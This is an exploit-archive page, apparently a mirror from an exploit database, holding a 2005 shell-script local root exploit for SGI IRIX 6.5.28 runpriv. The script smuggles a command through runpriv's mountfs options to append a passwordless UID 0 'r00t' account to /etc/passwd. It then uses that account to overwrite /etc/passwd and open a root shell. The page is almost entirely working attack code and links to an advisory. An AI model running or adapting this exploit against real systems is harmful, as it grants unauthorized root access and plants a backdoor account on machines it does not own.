[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
# Published : 2005-10-10
# Author : n/a
# Previous Title : SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit
# Next Title : Solaris 10 DtPrintinfo/Session Local Root Exploit (x86) 


#!/bin/sh
# Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312

/usr/sysadm/bin/runpriv mountfs -s test -d / -o |
  "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
su r00t -c "chown root:sys /tmp/passwd123 ;
mv /tmp/passwd123 /etc/passwd ;
chmod 644 /etc/passwd ; su" 

# www.Syue.com [2005-10-10]